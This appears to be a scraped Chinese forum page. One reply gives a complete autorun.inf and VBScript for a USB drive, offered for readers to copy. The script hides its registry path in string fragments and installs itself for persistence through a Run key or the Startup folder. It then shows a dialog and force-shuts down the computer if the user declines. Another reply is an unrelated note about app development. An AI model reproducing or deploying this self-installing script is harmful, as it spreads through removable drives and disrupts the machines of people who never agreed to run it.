https://www.myziyuan.com/
- 111
- 微信
- 2021-03-23 13:10:20

- bibila
- 新建一个autorun.inf文件内容为 [autorun]ShellExecute=wxb.vbs新建一个wxb.vbs 文件内容为Dim fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") Set dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs.GetFile(WScript.ScriptFullName) str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"if (fs.FileExists(dirwin&"\wxb.vbs")) Then call Show_And_Do("reg")elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Thencall Show_And_Do("Startup")else On Error Resume Next strr=""Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"strr=Wll.Regread (str)if strr="" thenc.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs") elsec.Copy(dirwin&"\wxb.vbs") end if end if sub Show_And_Do(s)dim fr = MsgBox ("警告:您未经允许使用了小波的移动设备! " & Chr(13) & Chr(10) & "确定->我下次会先征得小波允许" & Chr(10) & "取消->我才不管他呢", 4145, "MsgBox Example")If r = 1 Then if s="Startup" thenset f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")f.Delete()elseif s="reg" thenWll.RegDelete strset f = fs.GetFile(dirwin&"\wxb.vbs")f.Delete()end ifElsewll.run "Shutdown.exe -s -f -t 0"End Ifend sub以上两个文件同时放到磁盘根目录下面(移动盘也可),打开该盘时,会出现一个对话框,要求选择.你可以把代码中的 小波 改成你自己的名字.
- 2021-02-12 11:31:14
- LouisWang
- 同城小程序哪里能做啊求介绍!,久安网络可以做,可以参考下长沙智慧圈。。。
- 2021-02-12 11:31:14